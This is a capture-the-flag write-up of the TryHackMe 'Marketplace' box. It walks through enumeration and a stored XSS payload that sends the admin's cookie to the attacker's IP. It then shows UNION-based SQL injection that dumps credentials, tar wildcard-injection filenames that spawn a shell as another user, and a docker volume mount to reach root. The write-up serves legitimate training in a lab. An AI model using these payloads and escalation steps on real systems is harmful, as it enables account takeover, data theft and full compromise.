This is the medium box on TryHackMe website. It requires the some knowledge about docker and webapp pentesting (more specific is XSS). Lets start
For beginning I put the ip in /etc/hosts
for convinient
10.10.124.194 marketplace.thm
Enumeration
Port Scanning
Let’s begin to enumerate with basic port scanning to see which services is up.
nmap -v -p- marketplace.thm
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
32768/tcp open filenet-tms
We can see there are 3 services is running. Let do a deeper scan to see what exactly is these services:
nmap -A -p 22,80,32768 marketplace.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
| 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp open http nginx 1.19.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
32768/tcp open http Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: The Marketplace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%), Linux 2.6.39 - 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So we can there are 3 services is running on this port:
Port 22
: sshPort 80
andPort 32768
: a websever. It look a lot like each other.
I will start with a webserver on port 80 first
Port 80
As a first look, it is an e-comerce website. It has a login and signup function. If you click inside a product, you can see it has function contact to author and report to admin. So our first impression is this site has 4 main function. I will start with find sub-directory to see whether us find any new function
Finding subdirectories
I won’t brute force at the begging. As a result from nmap, there is a robots.txt folder. Let’s a look in it
User-Agent: *
Disallow: /admin
So we find another site, it could be the site for the administrator. We will comeback to it later. Let brute force for more directories
gobuster dir -u http://marketplace.thm -w /usr/share/wordlists/dirb/common.txt -t 20
...
/.htpasswd (Status: 403) [Size: 153]
/.htaccess (Status: 403) [Size: 153]
/.hta (Status: 403) [Size: 153]
/ADMIN (Status: 403) [Size: 392]
/admin (Status: 403) [Size: 392]
/Admin (Status: 403) [Size: 392]
/images (Status: 301) [Size: 179] [--> /images/]
/Login (Status: 200) [Size: 857]
/login (Status: 200) [Size: 857]
/messages (Status: 302) [Size: 28] [--> /login]
/new (Status: 302) [Size: 28] [--> /login]
/robots.txt (Status: 200) [Size: 31]
/signup (Status: 200) [Size: 667]
/stylesheets (Status: 301) [Size: 189] [--> /stylesheets/]
There aren’t anything new here. Most of the site require us to login so I move on with the login feature.
/login and /signup
Firstly, I try some basic SQLi to see does it vulnerable to SQLi
But what we recieve is Invalid password
. So let’s try to sign up for a user and try to login to see can we found anything new.
For the signup, i try to create an user with username is admin
to see can we access to admin account (just trying). After that I try to login again with the new created user
We see there is a new feuture called New listing
here. We will test it out later but now i try to access to admin page
/admin
With my new created user with the username, i have some hope that we can access to admin dashboard, but …
So my hope is down. I start to look inside the cookie, to see can we change something here. The cookie look like a JWT token
so go on jwt.io to decode it
You can see there is a field admin
is false means we are not the admin. I try to change to it to true but the problem we don’t know the secret key for the hash. So i try to leave the secret key empty (it can bypass in some case) and cookie back the cookie. But the result is i was logged out (cause the wrong screcet for the hash in jwt). So it time to move on the the next page.
/new
Here it allow us to add new product to be sell. The first thing in my mind is we could exploit some XSS here so I go back to the item page to see what is the HTML structure of the post
<div id="item">
<a href="/item/1"><h1>Dell Laptop</h1></a>
<img src="/images/867a9d1a2edc2995dca4b13de50fc545.jpg" />
<div>Published by michael</div>
<div>Description: <br /> Good as new. </div>
<div>
So our title is cover in an a
tag and the description is inside a div
so the description look more promising. I will try on the description with the payload <script>alert(1)</script>
and here is the result
We successfully to run our script.
Exploit
Access to admin dashboard
Now we know it is vulnerable to XSS, so what? Remember there is a function that we can report the post to admin. So if admin recieves the report, they will access to that post. We can leverage that to run our script to steal the cookie form the admin. With that cookie we login as admin account. I will using this script inside the description of new post
<script>fetch("http://10.17.7.60?query=" + document.cookie)</script>
And activate a python server on my machine python3 -m http.server 80
. Then just create a new post and click on Report listing to admins
and here is the results
And now we got the cookie from the admin. Replace our cookie with it and we can see the admin interface.
Remote access
Now we can access to the admin pannel, I try to click on 1 user and see the query is /admin?user=1
so I think can we try some sqli here. I input the payload is /admin?user=1'
and got this error
Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
So it it definitely vulnerable with SQL. I try to exploit it with sqlmap
but it is not working so i exploit it manuely with Burpsuite Repeater
. I try these steps:
- First i try this payload
1 order by 4
and when i reach the number 5, it show an error so this table has 4 columns - Then use this payload
1 union select GROUP_CONCAT(schema_name),null,null,null from information_schema.schemata
- Now you can see the it has 2 schemas, I will use the schema
marketplace
to move on with the payload1 union select GROUP_CONCAT(table_name),null,null,null from information_schema.tables where table_schema = "marketplace"
- Now use can see it has 3 tables, let’s find columns name of table
users
1 union select GROUP_CONCAT(column_name),null,null,null from information_schema.columns where table_schema = "marketplace" and table_name = "users"
- Now we have the column names and tables name, start to extract data from that table
1 union select group_concat(username, " | ", password), null,null,null from users
- Now we got these credentials
Now I try to crack it withhashcat
but it run forever. In the meanwhile, I use the same sqli techique like before to read themessages
table, and i found these text:1 | 3 | Hello! An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password. Your new password is: xxxxxxxxxxxx
It is from user 1 to user 3, base on data from
users
table, we know the user with id 3 is jake. So it must be his credentials. Now we can SSH into jake.
Get michael account
First thing first, I will check what is Jake sudo right.
jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on the-marketplace:
(michael) NOPASSWD: /opt/backups/backup.sh
So our Jake has the right to run /opt/backups/backup.sh
as michael. Let read the content of that file
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
It run the tar
command all the files inside /opt/backups
into /opt/backups/backup.tar
. They look normal but i try to google it. At the begginning, I don’t know what to search but I think *
is ussally called wildcard
so I search for tar wild card and I got this article. It says that we make file name like a flag of a command tar
so when tar file *
will become tar file --flag ...
. Let’s try it out:
echo "/bin/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
First I create a file shell.sh
and put the right 777 for it (so other user can execute it). Then i create 2 file name --checkpoint-action=exec=sh shell.sh
and --checkpoint=1
that will make our tar command look like
tar cf /opt/backups/backup.tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh
These flag will run our script inside shell.sh
. Let execute it
jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
Backing up files...
tar: backup.tar: file is the archive; not dumped
michael@the-marketplace:/opt/backups$
Now we success to micheal
Get root
I try to check michael sudo right but it requite password so I try to look at michael id
michael@the-marketplace:/opt/backups$ id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)
Notice that he has inside group docker so he has the right to interact with the docker on this machine. Let see which images does we have
michael@the-marketplace:/opt/backups$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
themarketplace_marketplace latest 6e3d8ac63c27 10 months ago 2.16GB
nginx latest 4bb46517cac3 11 months ago 133MB
node lts-buster 9c4cc2688584 11 months ago 886MB
mysql latest 0d64f46acfd1 11 months ago 544MB
alpine latest a24bb4013296 14 months ago 5.57MB
So there is another Linux distro is alpine
is running inside this docker container. Now I will using the technique which i use to exploti other box has docker. I will try to mount a folder on the machine to a docker image. And then we can access to this docker image as root so that we can read the mounted root folder
To mount you can use docker volume
(link1, link2) like in the image below
We can use this command to mount:
docker run -it --rm -v /:/mnt/root alpine:latest
Let break down it:
docker run
: to connect to container and run flag allow us to run docker command on that container-it
: tells docker that it should open an interactive container instance (mean allow us to interact with the container like a shell)--rm
: remove the mount on the image after exit-v /:/mnt/root alpine:latest
: using docker volume with flag-v
to bind mount the folder/
on the real machine to folder/mnt/root
on the imagealpine
with taglatest
Now we can test our command
michael@the-marketplace:/opt/backups$ docker run -it --rm -v /:/mnt/root alpine:latest
/ # cd /mnt
/mnt # ls
root
/mnt # cd root
/mnt/root # ls
bin home lost+found root sys vmlinuz.old
boot initrd.img media run tmp
cdrom initrd.img.old mnt sbin usr
dev lib opt srv var
etc lib64 proc swap.img vmlinuz
/mnt/root # cd root
/mnt/root/root # cat root.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
/mnt/root/root #
And this is the end